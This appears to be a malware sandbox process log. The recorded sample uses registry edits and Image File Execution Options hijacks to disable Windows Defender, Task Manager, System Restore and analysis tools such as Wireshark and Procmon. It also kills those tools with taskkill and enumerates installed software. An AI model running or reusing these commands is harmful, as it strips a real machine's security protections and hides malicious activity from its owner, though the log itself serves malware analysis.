C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1504
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f2⤵PID:1556
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1576
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1320
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "SEE_MASK_NOZONECHECKS" /t REG_SZ /d "1" /f2⤵PID:1560
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "2" /f2⤵PID:1112
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1808
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f2⤵PID:1596
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1268
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f2⤵PID:1956
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1588
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1876
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:1820
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1980
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵PID:740
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵PID:1564
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:832
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:428
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1492
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1176
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Taskmgr.exe" /T /F2⤵
- Kills process with taskkill
PID:1424
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1244
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1448
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵PID:1560
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵PID:1828
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1748
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1504
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:2024
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
PID:1576
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵PID:1556
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1880
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵PID:1732
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵PID:1400
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:528
-
C:\Windows\System32\Wbem\WMIC.exewmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List3⤵PID:1516
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
PID:1604
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:272
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵PID:1616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵PID:1916
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1492
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵PID:1852
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵PID:1428
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
PID:1572
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1504
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵PID:1556
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵PID:428
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
PID:1668
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1752
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵PID:1616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵PID:660
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
PID:1680
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1892
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵PID:1520
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵PID:1276
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1776
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵PID:2064
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵PID:2108
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:2052
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2128
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵PID:2144
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵PID:2156
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2168
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵PID:2180
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵PID:2204
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2236
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵PID:2260
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵PID:2296
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
PID:2272
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2312
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵PID:2328
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵PID:2344
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2356
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵PID:2384
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵PID:2432
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
PID:2396
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2468
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:643⤵PID:2480
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:323⤵PID:2496
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2512
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵PID:2560
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵PID:2580
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F2⤵
- Kills process with taskkill
PID:2524
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2600
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵PID:2616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵PID:2640
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2664
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵PID:2700
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵PID:2716
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
PID:2676
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2744
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:643⤵PID:2768
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:323⤵PID:2796
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2828
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵PID:2932
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵PID:3000
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2952
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:3024
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵PID:3044
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵PID:2072
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2116
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:643⤵PID:2160
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:323⤵PID:2320
-
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵PID:2164
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2208
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵PID:2268
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵PID:2348
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2384
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵PID:2500
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵PID:2548
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2556
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵PID:2640
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵PID:2684
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2708
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵PID:2700
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵PID:2616
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2740
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:643⤵PID:2724
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:323⤵PID:2772
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2812
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:643⤵PID:2800
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:323⤵PID:2792
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2836
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:643⤵PID:2936
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:323⤵PID:3004
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:3008
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:643⤵PID:3052
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:323⤵PID:2068
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2112
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:643⤵PID:1276
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:323⤵PID:1616
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1576
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:643⤵PID:520
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:323⤵PID:1120
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1824
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:643⤵PID:2012
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:323⤵PID:2108
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2176
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:643⤵PID:1472
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:323⤵PID:2304
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1480
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:643⤵PID:1872
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:323⤵PID:2340
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2036
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:643⤵PID:2004
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:323⤵PID:2156
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2388
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:643⤵PID:2336
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:323⤵PID:2028
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2296
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:643⤵PID:2496
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:323⤵PID:2268
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2476
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:643⤵PID:2564
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:323⤵PID:2480
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2452
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:643⤵PID:2492
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:323⤵PID:2404
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1848
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:643⤵PID:1916
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:323⤵PID:2440
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2728
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:643⤵PID:2688
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:323⤵PID:2676
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F2⤵
- Kills process with taskkill
PID:2656
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2524
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:643⤵PID:2584
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:323⤵PID:2408
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1888
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:643⤵PID:2196
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:323⤵PID:1428
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2420
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:643⤵PID:2292
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:323⤵PID:3016
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1564
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:643⤵PID:2272
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:323⤵PID:1900
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1680
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:643⤵PID:2620
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033" /reg:323⤵PID:2096
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2248
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:643⤵PID:2648
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:323⤵PID:2484
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1552
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:643⤵PID:1268
-
-
